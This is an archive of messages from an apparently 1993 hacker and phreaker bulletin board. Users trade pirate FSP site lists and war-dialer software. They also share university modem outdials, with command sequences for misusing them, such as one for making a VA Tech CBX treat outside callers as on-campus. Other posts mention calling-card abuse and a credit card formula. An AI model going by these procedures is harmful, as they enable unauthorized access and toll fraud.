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> look for it soon....
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Its up. You can get to it in the gfiles area under the misc text area,
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or from ftp in /pub/text/hackertest.Z.
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htoaster
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ÿ
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From swerve@yabbs Tue Apr 20 13:26:00 1993
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From: swerve@yabbs
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To: all@yabbs
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Subject: fsp sites
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Date: Tue Apr 20 13:26:00 1993
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hey, me here lookin' to trade some fsp sites with some people.
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mondays@bsu-cs.bsu.edu
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From liqjesus@yabbs Tue Apr 20 15:13:04 1993
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From: liqjesus@yabbs
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To: lordcybr@yabbs
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Subject: re: scanners
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Date: Tue Apr 20 15:13:04 1993
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Just curious..are you calling from CT (that's where the Rune Stone is
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located)? I'm interested in hunting down more h/p/a boards in the state.
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I used to be on Piper's Pit but I lost track of the new phone number.
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Any info would be appreciated.
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-Liquid Jesus-
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From lordcybr@yabbs Tue Apr 20 16:00:14 1993
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From: lordcybr@yabbs
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To: liqjesus@yabbs
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Subject: Ct bbs's
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Date: Tue Apr 20 16:00:14 1993
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> Just curious..are you calling from CT (that's where the Rune Stone is
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No, I am not. It is an ld call to me, but if you log onto that I'm sure
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that there is a list of boards in the local area. If you do decide to log
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onto Rune Stone I will leave ya a message, I use my New handle on that
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board.
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Lord Cyber.-
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ÿ
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From greywolf@yabbs Tue Apr 20 20:22:22 1993
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From: greywolf@yabbs
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To: pyro@yabbs
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Subject: re: HP Network...
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Date: Tue Apr 20 20:22:22 1993
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Unfortunately I don't run a bbs (definately not one hooked up to
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internet)..but I have sufficeint time and interest to help in furthering
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the corruption of the usefullnes of internet :).
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From greywolf@yabbs Tue Apr 20 20:24:00 1993
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From: greywolf@yabbs
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To: all@yabbs
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Subject: fsp
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Date: Tue Apr 20 20:24:00 1993
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Where can I get a copy of this? and some docs on how to abuse..ahh..use
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it..thanks
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GREY WOLF
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p.s., if possible could it just be upped here?
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From htoaster@yabbs Tue Apr 20 22:53:27 1993
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From: htoaster@yabbs
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To: greywolf@yabbs
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Subject: re: fsp
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Date: Tue Apr 20 22:53:27 1993
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In message fsp, greywolf said:
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> Where can I get a copy of this? and some docs on how to abuse..ahh..use
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> it..thanks
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>
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> GREY WOLF
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> p.s., if possible could it just be upped here?
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At this point I would rather not have binaries online, mostly due to my
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lack of disk space. Hopefully this will change next year...
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htoaster
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ÿ
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From mohawk@yabbs Wed Apr 21 01:40:01 1993
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From: mohawk@yabbs
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To: skippy@yabbs
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Subject: re: hacking?
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Date: Wed Apr 21 01:40:01 1993
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skippy, thanks for sending me the hackers test, I found a test more
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oriented toward the h/p area called the cracker.test, I just ftp'd it here
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so it should be available here in a few days for you all to enjoy.
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mohawk
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mohawk@santafe.edu
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From nmn@yabbs Wed Apr 21 01:51:50 1993
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From: nmn@yabbs
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To: all@yabbs
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Subject: WTF
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Date: Wed Apr 21 01:51:50 1993
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What the fuck?! A hacker test?! What demented idiotic person came up
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with such a thing?! This isnt a WaR3z community, or I would at least hope
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not.. However if people are going around taking hack tests to see how good
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of a 'hacker' they are, then, well, it looks like a portion of it is
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moving towards warezzz (Yeah, like it hasn't already?!).
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Whatever.. thats idiotic..
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But, anyway, Yeah, I am the author of Autoscan, and I really couldnt
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care who gets it... Well, yes I care.. but I let the people pass it around
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and to use their best judgement on who should get it.... Not like it
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really matters I guess sence these days every other 13 year old is
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scanning like mad and not knowing what theyre doing (not saying all of
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them dont know what theyre doing) and either fuck up systems or thier
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'idol' (you know, one of those fuckheads like albatross who enslaves
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lamers to do his dirty work) goes around destroying shit...
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Its funny how these type of people never get caught either... makes me
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fucking sick.
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Anyway.. thats all from me for now, i have programming to do.
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NoMeansNo
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nmn@phantom.mindvox.com
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From skippy@yabbs Wed Apr 21 03:31:28 1993
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From: skippy@yabbs
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To: nmn@yabbs
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Subject: re: WTF
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Date: Wed Apr 21 03:31:28 1993
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In message WTF, nmn said:
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> What the fuck?! A hacker test?! What demented idiotic person came up
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> with such a thing?! This isnt a WaR3z community, or I would at least hope
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> not.. However if people are going around taking hack tests to see how good
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> of a 'hacker' they are, then, well, it looks like a portion of it is
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> moving towards warezzz (Yeah, like it hasn't already?!).
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well, nmn..... if you take the bother to read my original post... you will
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read that i said if was more of a test to test your knowledege of
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computerdom, not how to hack it.... its a test to see what kind of a nerd
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you are!! not how easy you can crack systems...
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so why dont you read a bit more carefully next time... instead of cussing us
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all out...
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thank you
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--skip
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From tau@yabbs Wed Apr 21 04:30:55 1993
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From: tau@yabbs
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To: swerve@yabbs
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Subject: re: fsp sites
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Date: Wed Apr 21 04:30:55 1993
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In message fsp sites, swerve said:
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> hey, me here lookin' to trade some fsp sites with some people.
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> mondays@bsu-cs.bsu.edu
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Hi i have got the 930418 sitelist, so if you have any thing beside thet i
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wouls be interested!
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\tau tau@daimi.aau.dkÿ
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From tau@yabbs Wed Apr 21 05:02:05 1993
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From: tau@yabbs
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To: greywolf@yabbs
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Subject: re: fsp
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Date: Wed Apr 21 05:02:05 1993
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In message fsp, greywolf said:
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> Where can I get a copy of this? and some docs on how to abuse..ahh..use
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> it..thanks
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You can get et from me! as i said yesterday, just tall me by email or here,
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where to put it...
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Ps: it is the 266.4 version !ÿ
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From tau@yabbs Wed Apr 21 05:05:53 1993
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From: tau@yabbs
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To: mohawk@yabbs
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Subject: fsp
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Date: Wed Apr 21 05:05:53 1993
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I have sadly, sent you the wrong version of fsp, if you have not got the new
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one by now, just call, and i'll corect the problem...
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\tau tau@daimi.aau.dkÿ
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From cse@yabbs Wed Apr 21 14:03:28 1993
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From: cse@yabbs
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To: greywolf@yabbs
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Subject: re: HP Network...
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Date: Wed Apr 21 14:03:28 1993
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me to... What can I do?
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Chainsaw Enema
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From nstriker@yabbs Wed Apr 21 14:15:50 1993
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From: nstriker@yabbs
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To: all@yabbs
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Subject: cthief
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Date: Wed Apr 21 14:15:50 1993
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Could someone send it uuencoded to me here or as
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tns@bbs.santafe.edu? thanks.
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.
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From swerve@yabbs Wed Apr 21 17:03:28 1993
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From: swerve@yabbs
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To: greywolf@yabbs
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Subject: re: fsp
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Date: Wed Apr 21 17:03:28 1993
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the latest version of fsp is sitting at ftp.uu.net in the
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/tmp dir
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swervE
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ÿ
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From greywolf@yabbs Thu Apr 22 02:26:53 1993
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From: greywolf@yabbs
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To: swerve@yabbs
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Subject: re: fsp
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Date: Thu Apr 22 02:26:53 1993
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thanks!
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Now, any body got a list of fsp sites?
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From dork@yabbs Thu Apr 22 13:30:28 1993
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From: dork@yabbs
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To: all@yabbs
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Subject: Vox
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Date: Thu Apr 22 13:30:28 1993
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What in the blue blazes has happened to mindvox...cannnot telnet there to
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save my life and have no local outdials to New York <hint> so the last
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time i waas on I had to call direct and was down to 7200 in seconds...
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Anybody have any information cause no one on the old Alt.Cyber.channel of
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slow chat is answering me either...I do not have time for a major project
|
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at the moment...canna sew one cuttt me some slack ear????
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CritiC - if anyone cares....
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From liqjesus@yabbs Thu Apr 22 13:42:13 1993
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From: liqjesus@yabbs
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To: dork@yabbs
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Subject: re: Vox
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Date: Thu Apr 22 13:42:13 1993
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That's a relief. I thought I was the only one who couldn't log on
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thru telenet. You figure you pay $$ to get on the place, at least
|
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you should be able to CONNECT to the damn board!
|
|
Mindvox seems to be plagued with problems lately.
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From swerve@yabbs Thu Apr 22 15:32:31 1993
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From: swerve@yabbs
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To: greywolf@yabbs
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Subject: re: fsp
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Date: Thu Apr 22 15:32:31 1993
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In message re: fsp, greywolf said:
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> thanks!
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> Now, any body got a list of fsp sites?
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Well, i got some . if you mail me mondays@bsu-cs.bsu.edu i can forward
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some out to ya'.
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swerve
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ÿ
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From edster@yabbs Thu Apr 22 22:46:43 1993
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From: edster@yabbs
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To: all@yabbs
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Subject: 703/804 Outdials...
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Date: Thu Apr 22 22:46:43 1993
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Hey.. I know it's an old thread, but it's been a while since I've logged
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on...
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That outdial at UVa (ublan.acc.virginia.edu or ublan.acs.virginia.edu, I've
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forgotten) is in area code 804... It's in Charlottesville, and does accept
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local calls... (ATDT9,,xxxxxxx)
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The Va Tech CBX (vtcbx.cc.vt.edu) will let you connect to on-campus and
|
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select off campus machines... It's area code 703, in Blacksburg... The
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#s that are valid on-campus machines start with 231 and 232.. You may still
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be able to access local off-campus boards by doing the following at the
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CBX prompt:
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call datakit
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vtcbx
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c 9,xxxxxxx
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This used to fake the CBX out into thinking you weren't calling from outside
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VA Tech... I haven't tried it in a while, though, and I'd heard that it
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didn't work.. But hack away.
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- Edster
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eschwab@csugrad.cs.vt.eduÿ
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From pyro@yabbs Fri Apr 23 06:56:47 1993
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From: pyro@yabbs
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To: all@yabbs
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Subject: 'Vox...
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Date: Fri Apr 23 06:56:47 1993
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MindVox has moced from its NeXT workstation to a Sun LAN system, and
|
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because of this, and their change to T1 bandwidth, they now have a new net
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address. NetServ has not gotten the paperwork trhough for 'pjantom.com'
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to work right now, so you have to use the IP Number for the new system:
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198.67.3.2
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This will connect to it just fine. Few problemsm: because they do not
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have a IP Name mail is lost in the shuffle (as in, no mail), and a few
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things like IRC and such are currently messed up. Hopefully they get it
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all figured out soon. Moving can be such a pain, even if it is sometimes
|
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only electronically.
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-Pyro
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From tau@yabbs Fri Apr 23 07:06:32 1993
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From: tau@yabbs
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To: greywolf@yabbs
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Subject: Re: fsp
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Date: Fri Apr 23 07:06:32 1993
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I have the fsp - site list - UpDated: 93 04 19
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If you are interested, just leave me a note..
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\tau tau@daimi.aau.dkÿ
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From artimage@yabbs Fri Apr 23 12:48:23 1993
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From: artimage@yabbs
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To: tau@yabbs
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Subject: re: Re: fsp
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Date: Fri Apr 23 12:48:23 1993
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I would love a copy. Send it to Oly@coos.dartmouth.edu. Thanks,
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Artimage.-
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From htoaster@yabbs Fri Apr 23 21:54:41 1993
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From: htoaster@yabbs
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To: wincroft@yabbs
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Subject: re: fsp
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Date: Fri Apr 23 21:54:41 1993
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In message re: fsp, wincroft said:
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> no list, but i have a site that is not on the list. I offer
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> xxxxxxxxxxxxxx port xxxx. If you have any unlisted sites, pleas meail
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> them to me at tlawless@whale.st.usm.edu or post.
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DO NOT POST! This is a warez site...i tried it out...I don't want to
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have to have yabbs go down because of careless users who think that the
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greatest idea in the world is to post warez sites...if yabbs continutes
|
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to be used like this I will have to take it down (which I really don't
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want to do).
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Anyway, keep this stuff off of the board. I'm not going to delete users,
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since anyone can make a new account anyway. I really don't want to have
|
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to start validating people, I like the anonyminity given here...just keep
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it off...
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htoaster
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ÿ
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From deprogra@yabbs Sat Apr 24 00:35:23 1993
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From: deprogra@yabbs
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To: htoaster@yabbs
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Subject: re: fsp
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Date: Sat Apr 24 00:35:23 1993
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Okay, I'll bite: what's fsp?
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From greywolf@yabbs Sat Apr 24 00:55:03 1993
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From: greywolf@yabbs
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To: tau@yabbs
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Subject: re: Re: fsp
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Date: Sat Apr 24 00:55:03 1993
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I'm interested..in the fsp site..and whare I can get fsp..thanks!
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GREY WOLF
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From rip torn@yabbs Sat Apr 24 03:20:15 1993
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From: rip torn@yabbs
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To: pez@yabbs
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Subject: re: scanners
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Date: Sat Apr 24 03:20:15 1993
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If you are still looking for a scanner..try getting ToneLoc v98..it's
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seemingly the best that I've found. It works best if you have a modem
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that detects voice/data/etc. automatically.
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From jasonlee@yabbs Sat Apr 24 03:27:51 1993
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From: jasonlee@yabbs
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To: all@yabbs
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Subject: Info needed!
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Date: Sat Apr 24 03:27:51 1993
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OK, I need info on the ITX OS (commands, bugs, ettc.), and I need to know
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about the anonymity gained when dialing from a PBX.
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Thanks a lot.
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JasonLee
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From rip torn@yabbs Sat Apr 24 03:34:19 1993
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From: rip torn@yabbs
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To: aleph1@yabbs
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Subject: re: 2600+
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Date: Sat Apr 24 03:34:19 1993
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Do you know of any 2600 meetings in Ontario Canada..and if not..is there a
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"outpost" up here? I'd like to hang at a meeting or two since I heard
|
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they get busted quite Phreakwently, and tons of inpho. is passed around.
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Inquiring minds wanna know.
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From rip torn@yabbs Sat Apr 24 03:37:25 1993
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From: rip torn@yabbs
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To: ziplock@yabbs
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Subject: re: Warez junk
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Date: Sat Apr 24 03:37:25 1993
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I'd be interested in grabbing that Elmer Fudd script shit. Where can I go
|
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to find it? Sounds like a cool trick to play on an unsuspecting prof.!!!
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:)
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From htoaster@yabbs Sat Apr 24 10:53:06 1993
|
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From: htoaster@yabbs
|
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To: all@yabbs
|
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Subject: magik issue 2 online
|
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Date: Sat Apr 24 10:53:06 1993
|
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I just put the second issue of magik online, thanks to cha0s for
|
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uploading it. It has some interesting stuff, so make sure to check it
|
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out...
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htoaster
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ÿ
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From nmn@yabbs Sat Apr 24 14:22:22 1993
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From: nmn@yabbs
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To: all@yabbs
|
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Subject: Well
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Date: Sat Apr 24 14:22:22 1993
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Yeah I found out that it was a nerd test, I read through almost all 512
|
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questions... it was, interesting, but there were alot of bullshit
|
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questions on there...
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NMN
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From pez@yabbs Sat Apr 24 14:48:23 1993
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From: pez@yabbs
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To: rip torn@yabbs
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Subject: re: scanners
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Date: Sat Apr 24 14:48:23 1993
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With the help of a few people from this board, I've been
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able to find plenty of scanners. I have v97 of ToneLoc, but
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someone informed me that it was a hack.
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I'd like to try v98 but I haven't found it yet.
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From odo@yabbs Sat Apr 24 23:30:49 1993
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From: odo@yabbs
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To: all@yabbs
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Subject: FSP
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Date: Sat Apr 24 23:30:49 1993
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(Wht the heck is FSP)
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And what is this about scanners?
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I assume they are to search for ports?
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Wonder if the site admin would get teed off by the humoungous
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system time taken up by them...
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(well if you OWN your own site then it is no prob!)
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Didn't know internet had all this stuff on here.
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Amazing what the feds don't know about.
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A 5 year old could do better investigating!
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Laterz
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From wincroft@yabbs Sun Apr 25 01:03:36 1993
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From: wincroft@yabbs
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To: odo@yabbs
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Subject: re: FSP
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Date: Sun Apr 25 01:03:36 1993
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well, Fsp is a protocol that allows you to get files form other sites. The
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big diffrence is that you never really log into those sites. you are
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there, but you ain't. (Alos the >=1kps transfer rates a way slow compared
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to the 6,7 + kps i get on FTP)
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as for the feds, well what can i say, the internet is so o large, and is
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not regulated (mutch) by the gov. (a working anarchy, sorta'). and if the
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SPA wanted to crack down on pirate fsp sites, well they may have a problem
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doing such overseas. The legal problems! who would proscesute (sp?) is it
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breaking US law or Thier Laws? Where was the crim commited. I think
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something may be said about this in the next issue of CUD dealing with the
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Spa. Till then, I'll see ya' when i see ya'
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From darkside@yabbs Sun Apr 25 03:45:39 1993
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From: darkside@yabbs
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To: invalid@yabbs
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Subject: re: dialout
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Date: Sun Apr 25 03:45:39 1993
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> fuck man it had been a long time. Didn't know you were on here. Of course
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> my boadr is still up and Phalcon/Skism is still going strong... call the
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> boadr or mail me at CCDHB@acvax.INRE.ASU.EDU fo ra 602 internet outdial
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> (in case you have no way of calling out)...
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>
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> Invalid Media, Phalcon/Skism
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> ccdhb@acvax.inre.asu.edu
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> invalid@bsdslab.pr.erau.edu
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>
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heyo......I'm back! My computer died on me....and I got a new one...shit,
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has been a while eh? Glad to hear your board is up and running and P/S are
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still around...thought you guys were finished there....anyway, I haven
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't been on here that long...I wasn't back when I was calling your
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board...and yeah, I could use that OD...I'll email ya, thanks!
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darkside@silver.lcs.mit.edu
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darkside@gnu.ai.mit.edu
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darkside@garbo.uwasa.fi
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ÿ
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From darkside@yabbs Sun Apr 25 03:49:04 1993
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From: darkside@yabbs
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To: invalid@yabbs
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Subject: re: dialout
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Date: Sun Apr 25 03:49:04 1993
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In message re: dialout, invalid said:
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> ya got it wrong dude.. landfill was the only boadr affected by the bust
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> DIRECTLY.. GHeap got visited so his board is down.. decimator's boadr went
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> down and now its back up privately as a ps site.. we are stilll a ps site
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> (upt) and a new ps site in 914 went up.. dont know the #
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>
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> Invalid Media, Phalcon/Skism
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> invalid@bsdslab.pr.erau.edu
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> ccdhb@acvax.inre.asu.edu
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sorry...and glad ya corrected me...so, what happened to USSR? No offense but
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I hope he burnt in hell...anyway, hope to be back on your board soon! Ciao!
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darkside@silve.lcs.mit.edu
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darkside@gnu.ai.mit.edu
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darkside@garbo.uwasa.fi
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P.S. - Greets Kingpin....
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ÿ
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From greywolf@yabbs Sun Apr 25 20:01:15 1993
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From: greywolf@yabbs
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To: all@yabbs
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Subject: re: dialout
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Date: Sun Apr 25 20:01:15 1993
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Wanted: hack/phreak boards with (if possible) coressponind outdials from
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internet
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BTW: does anyone know how I can patch into other networks from internet
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(such as tymnet/sprintnet?)
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And anybody got a GOD? I really would like to call overseas !
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GREY WOLF
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From hangman@yabbs Sun Apr 25 21:47:59 1993
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From: hangman@yabbs
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To: all@yabbs
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Subject: stuff
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Date: Sun Apr 25 21:47:59 1993
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Well, I'm new to these parts.
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I'd appreciate the names and BBS numbers of some good boards, <14.4K or
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more naturally> and some help with FSP and such. I cannot seem to get FSP
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to work for me.
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Please contact me in E-Mail here if you would be willing to move this
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discussion to regular Internet mail. Please.
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Thank you.
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From jasonlee@yabbs Sun Apr 25 23:38:19 1993
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From: jasonlee@yabbs
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To: pez@yabbs
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Subject: re: scanners
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Date: Sun Apr 25 23:38:19 1993
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Ah, I have toneloc 98, so I guess I should FTP it here.
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I'll do that immediately after I'm done here.
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JasonLee
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From kamakize@yabbs Mon Apr 26 00:04:24 1993
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From: kamakize@yabbs
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To: edster@yabbs
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Subject: re: 703/804 Outdials...
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Date: Mon Apr 26 00:04:24 1993
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hey dude the
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local # from roanoke 985-0071
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Vtcbx
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c datakit
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c vtcbx
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c vtelnet gets me here!
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ill letcha knoq what goes on
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btw if you can call rke my vmb is 981-3434 box 757
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laterz
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From kamakize@yabbs Mon Apr 26 00:06:33 1993
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From: kamakize@yabbs
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To: jasonlee@yabbs
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Subject: 804/703
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Date: Mon Apr 26 00:06:33 1993
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im in 703 - South-western Va in ol Roanoke
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my bbs 703-366-4620
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laterz
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From pez@yabbs Mon Apr 26 02:52:25 1993
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From: pez@yabbs
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To: jasonlee@yabbs
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Subject: re: scanners
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Date: Mon Apr 26 02:52:25 1993
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>Ah, I have toneloc 98, so I guess I should FTP it here.
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>I'll do that immediately after I'm done here.
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Appreciate the offer, but I don't think htoaster allows
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binary files on the board.
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An interesting bit I just read in magik2...
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Codethief5.1 seems to be a hack. It looks like the only
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thing that was changed was the credits though.
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-Pez
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From htoaster@yabbs Mon Apr 26 08:43:58 1993
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From: htoaster@yabbs
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To: pez@yabbs
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Subject: re: scanners
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Date: Mon Apr 26 08:43:58 1993
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In message re: scanners, pez said:
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> >Ah, I have toneloc 98, so I guess I should FTP it here.
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> >I'll do that immediately after I'm done here.
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>
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> Appreciate the offer, but I don't think htoaster allows
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> binary files on the board.
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It is true...you can go through ftp.uu.net or any of the fsp sites or
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whatever.
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htoaster
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ÿ
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From deprogra@yabbs Mon Apr 26 10:05:45 1993
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From: deprogra@yabbs
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To: all@yabbs
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Subject: 2600 in Seattle
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Date: Mon Apr 26 10:05:45 1993
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According to the Spring 2600, there will be a meeting in Seattle. It will
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be on the first floor of the Washington State convention center.
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The payphone numbers published in the spring issue are wrong!! Here are
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the correct numbers: (206) 220-9774, 9775, 9776, 9777.
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From kilroy@yabbs Mon Apr 26 13:42:25 1993
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From: kilroy@yabbs
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To: greywolf@yabbs
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Subject: re: hack sites
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Date: Mon Apr 26 13:42:25 1993
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I am sorta new to I-net myself, and was wondering if you could explain
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o-dials a bit...how do you find them? I'd like to reach a few people in
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other states via bbs's, but don't have any outdials with which to do this.
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Any help would be appreciated...Thanks.
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From kilroy@yabbs Mon Apr 26 13:44:01 1993
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From: kilroy@yabbs
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To: mintent@yabbs
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Subject: re: addresses
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Date: Mon Apr 26 13:44:01 1993
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Is the nyx.cs.du.edu place still available? Whenever i've tried, all i get
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is 'Unaccepting new logons', or something to that effect...has
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thatd to anyone else?
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From kilroy@yabbs Mon Apr 26 13:47:57 1993
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From: kilroy@yabbs
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To: skippy@yabbs
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Subject: re: hacking?
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Date: Mon Apr 26 13:47:57 1993
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How could you go about scanning IP addresses...would you have to set up a
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script in your comm program? I'm sure that wouldn't be hard at all....
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From kilroy@yabbs Mon Apr 26 13:49:04 1993
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From: kilroy@yabbs
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To: pyro@yabbs
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Subject: re: HP Network...
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Date: Mon Apr 26 13:49:04 1993
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Yea, that info on an HP net sounds interesting....if you'd like any help,
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or just wanna talk about it, e-mail me at khanlon@lynx.northeastern.edu
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Thanks...
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From kilroy@yabbs Mon Apr 26 13:52:10 1993
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From: kilroy@yabbs
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To: all@yabbs
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Subject: re: hacker test
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Date: Mon Apr 26 13:52:10 1993
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Any chance of someone sending up Code Thief 5.1 here? Or, to another FTP
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site?
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From kilroy@yabbs Mon Apr 26 13:53:55 1993
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From: kilroy@yabbs
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To: swerve@yabbs
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Subject: re: fsp sites
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Date: Mon Apr 26 13:53:55 1993
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I've got a list or two if you'd like to trade sites...e-mail me at
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khanlon@lynx.northeastern.edu
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From kilroy@yabbs Mon Apr 26 13:57:15 1993
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From: kilroy@yabbs
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To: swerve@yabbs
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Subject: re: fsp
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Date: Mon Apr 26 13:57:15 1993
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What are FSP sites, anyway? I'm sorta new to the Net, so forgive me...
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From kilroy@yabbs Mon Apr 26 14:00:25 1993
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From: kilroy@yabbs
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To: rip torn@yabbs
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Subject: re: scanners
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Date: Mon Apr 26 14:00:25 1993
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I've got Tone Loc, and i can't seem to get it to work with COM4 on my
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modem...in fact, it probably won't work with it in the first place. Then
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|
again, i have a Boca, so that probably explains it...
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From christj@yabbs Mon Apr 26 19:43:40 1993
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From: christj@yabbs
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To: kamakize@yabbs
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Subject: re: 703/804 Outdials...
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Date: Mon Apr 26 19:43:40 1993
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What? Vtcbx?
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Is that like comin thru SprintNet or Tymnet or somethin?
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ÿ
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From kamakize@yabbs Mon Apr 26 20:41:56 1993
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From: kamakize@yabbs
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To: christj@yabbs
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Subject: re: 703/804 Outdials...
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Date: Mon Apr 26 20:41:56 1993
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no its a local Govonors School's dec server has access to
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UVA,VA Tech,Radford and JMU and services like VA pen and Net find and
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modem outdials (only if i could find the
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passwords for em! i do however have the PW for logon the dec server
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From fatdog@yabbs Tue Apr 27 00:21:25 1993
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From: fatdog@yabbs
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To: rip torn@yabbs
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Subject: re: scanners
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Date: Tue Apr 27 00:21:25 1993
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Where can i get a copy of ToneLoc from??
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Fatdog. s932544@minyos.xx.rmit.edu.au
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From jasonlee@yabbs Tue Apr 27 03:03:39 1993
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From: jasonlee@yabbs
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To: kilroy@yabbs
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Subject: re: scanners
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Date: Tue Apr 27 03:03:39 1993
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Toneloc will not work with COMs abbove 2.
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Kinda sucks, huh?
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JasonLee
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From tom@yabbs Tue Apr 27 15:34:51 1993
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From: tom@yabbs
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To: jasonlee@yabbs
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Subject: re: scanners
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Date: Tue Apr 27 15:34:51 1993
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something about magik-2...they have that credit card formula - it's
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bullshit...doesn't work. i checked it against some valid cards (that are
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legally mine by the way) and it's wrong. i don't know the right one, but
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theirs is wrong...
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From vapor@yabbs Tue Apr 27 17:49:43 1993
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From: vapor@yabbs
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To: all@yabbs
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Subject: 40hex
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Date: Tue Apr 27 17:49:43 1993
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Anybody know where I could find 40hex (a virus nfo zine)?
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I'd like some nfo on it as soon as possible.
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thanx all
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From tau@yabbs Tue Apr 27 19:48:43 1993
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From: tau@yabbs
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To: greywolf@yabbs
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Subject: tja
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Date: Tue Apr 27 19:48:43 1993
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yIn message re: Re: fsp, greywolf said:
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> I'm interested..in the fsp site..and whare I can get fsp..thanks!
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>
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>
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>
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> GREY WOLF
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I dont have your Email address, surry, but with out that i'll have a serious
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problem mailing you, since this mail i public and hoster dont like all what
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is ending up here.
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\tau tau@daimi.aau.dkÿ
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From tau@yabbs Tue Apr 27 20:05:05 1993
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From: tau@yabbs
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To: hangman@yabbs
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Subject: re: stuff
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Date: Tue Apr 27 20:05:05 1993
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Hello
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In message stuff, hangman said:
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> Well, I'm new to these parts.
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>
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> I'd appreciate the names and BBS numbers of some good boards, <14.4K or
|
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> more naturally> and some help with FSP and such. I cannot seem to get FSP
|
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> to work for me.
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Wath computer are you compiling fsp for (etc. hp, sun), if you tell me that
|
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i would give you some hints!
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>
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> Please contact me in E-Mail here if you would be willing to move this
|
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> discussion to regular Internet mail. Please.
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>
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> Thank you.
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That will be fine...
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\tau tau@daimi.aau.dkÿ
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From greywolf@yabbs Wed Apr 28 00:03:38 1993
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From: greywolf@yabbs
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To: kilroy@yabbs
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Subject: re: hack sites
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Date: Wed Apr 28 00:03:38 1993
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I'd be glad to answer all your questions...just chat with me when I'm on
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here..I'mhere practically every day, at about midnite and after EST.
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tata
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From hal9000@yabbs Wed Apr 28 03:15:17 1993
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From: hal9000@yabbs
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To: all@yabbs
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Subject: re: hack sites
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Date: Wed Apr 28 03:15:17 1993
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Hey All,
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I should inform y'all, I have been active in the telecom world
|
|
since before the Ma Bell breakup (what a bitter divorce). But,
|
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the one thing I find suprising, is that while I am fairly new to
|
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Internet, I really don't know any sites which cater to my kind. I am
|
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interested in the cutting edge software which is available. If anyone
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could mail me, please contact me at : 17caron@cua.edu. I would appreciate
|
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it. I am fairly versed in programing et cetera. I look forward to contacts
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which share similar interests.
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-chris
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From pureluck@yabbs Wed Apr 28 16:27:27 1993
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From: pureluck@yabbs
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To: pyro@yabbs
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Subject: re: HP Network...
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Date: Wed Apr 28 16:27:27 1993
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I know synthgenius@maple.circa.ufl.edu is starting something called Rewt!
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And
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Rewt! Magazine which will discuss mainly INternet related Topics. He went
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to his student honor court and faced serious expulsion for distributing
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underground software, a la IRC.
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tsk tsk. Mail him for more info.
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pure luck
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Club IP
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From cse@yabbs Wed Apr 28 17:35:20 1993
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From: cse@yabbs
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To: tau@yabbs
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Subject: re: tja
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Date: Wed Apr 28 17:35:20 1993
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tau: my email addres is cse@santafe.edu Pleas email me the info too.
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thanks ChaisnawEnema
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From maxan@yabbs Wed Apr 28 19:37:25 1993
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From: maxan@yabbs
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To: christj@yabbs
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Subject: re: 703/804 Outdials...
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Date: Wed Apr 28 19:37:25 1993
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vtcbx... it's sorta like this board except it's down at virgania
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polytech.
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Maxan
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From wincroft@yabbs Wed Apr 28 19:40:25 1993
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From: wincroft@yabbs
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To: kilroy@yabbs
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Subject: re: hacker test
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Date: Wed Apr 28 19:40:25 1993
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If you can't find it mail me at tlawless@whale.st.usm.edu. I'll upload it,
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uuencode it and mail it to ya' (send your address in the body, i can't see
|
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some addresses in elm).
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From binkley@yabbs Thu Apr 29 19:14:54 1993
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From: binkley@yabbs
|
|
To: mohawk@yabbs
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Subject: re: where can you get pgp 2.2?
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Date: Thu Apr 29 19:14:54 1993
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FTP to Soda.Berkeley.EDU and in /tmp/pgp22
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pgp22src.zip Source code
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pgp22.zip Program
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|
l8r
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Binkley
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From binkley@yabbs Thu Apr 29 19:16:18 1993
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From: binkley@yabbs
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To: invalid@yabbs
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Subject: re: dialout
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Date: Thu Apr 29 19:16:18 1993
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Where could I get 40Hex?? I tried to get into UnPhammiliar but I couldn't
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get past the new user voting...
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Binkley
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From binkley@yabbs Thu Apr 29 19:28:52 1993
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From: binkley@yabbs
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To: snoblind@yabbs
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Subject: re: MS-DOS BBS
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Date: Thu Apr 29 19:28:52 1993
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Celerity can be configured to look like UNIX in the logon shell.
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1.42 is the newest release so far as I know.
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From binkley@yabbs Thu Apr 29 19:29:34 1993
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From: binkley@yabbs
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To: all@yabbs
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Subject: Celerity
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Date: Thu Apr 29 19:29:34 1993
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Does anybody know where I could FTP various BBS programs like LSAD,
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Vision-X and celerity?? If so, please let me know, l8r
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Binkley
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From binkley@yabbs Thu Apr 29 19:39:18 1993
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From: binkley@yabbs
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To: fatdog@yabbs
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Subject: re: scanners
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Date: Thu Apr 29 19:39:18 1993
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Well, I have no idea how to send a binary file through the internet, but
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you can call my BBS any time. !@#$!!!!kjtzy|~}{xwv
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207-562-9226 I've got it there.
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l8r
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Binkley
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From binkley@yabbs Thu Apr 29 19:40:31 1993
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From: binkley@yabbs
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To: liqjesus@yabbs
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Subject: re: scanners
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Date: Thu Apr 29 19:40:31 1993
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how about in New England?
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The Center of the Universe.
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207-562-9226
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l8r
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Binkley
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From greywolf@yabbs Thu Apr 29 20:23:17 1993
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From: greywolf@yabbs
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To: all@yabbs
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Subject: Outdials
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Date: Thu Apr 29 20:23:17 1993
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Okey, I've found the following outdials..now if anybody know how to get
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them to work..please tell me .
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AC 703: vtcbx.cc.vt.edu
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AC 804: ublan.acc.virginia.edu
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AC 412: gate.cis.pitt.edu
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AC XXX: isn.hcf. jhu.edu
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I don't know the area code for the last one...if anyone has any more areac
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codes, please tell me ... I mainly on the look out for Global
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Outdials..thanks all!
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Incidently, does anyone know of a gateway from internet to
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tymnet/sprintnet? Ciao!
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GREY WOLF
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From mohawk@yabbs Thu Apr 29 20:50:30 1993
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From: mohawk@yabbs
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To: greywolf@yabbs
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Subject: re: Outdials
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Date: Thu Apr 29 20:50:30 1993
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The gate.cis.pitt.edu dialout instructions are: LAT, then C dialout, then
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Ctrl-E ,<cr>, d91<number> (you should be at a * prompt).
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mohawk
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From tom@yabbs Thu Apr 29 22:17:04 1993
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From: tom@yabbs
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To: mohawk@yabbs
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Subject: re: Outdials
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Date: Thu Apr 29 22:17:04 1993
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the first one, vtcbx.cc.vt.edu is a virginia tech terminal server that
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doesn't let you do outdials, it comes back with a 'this terminal lacks
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permission to dial out' message...the last one looks like Johns Hopkins
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university (jhu.edu) so is in 301 i think...is the gate.cis.pitt.edu, does
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that have anything to do with compuserve? they both use cis (compuserve info
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services)...i dunno though.
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ÿ
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From jasonlee@yabbs Fri Apr 30 00:30:21 1993
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From: jasonlee@yabbs
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To: all@yabbs
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Subject: jhu outdial
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Date: Fri Apr 30 00:30:21 1993
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The jhu outdial is in 410, and a local bbs is at 539-2261.
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AT commands must be given in CAPS, however. Good luck on getting it to
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work.
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JasonLee
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From mohawk@yabbs Fri Apr 30 01:01:07 1993
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From: mohawk@yabbs
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To: tom@yabbs
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Subject: re: Outdials
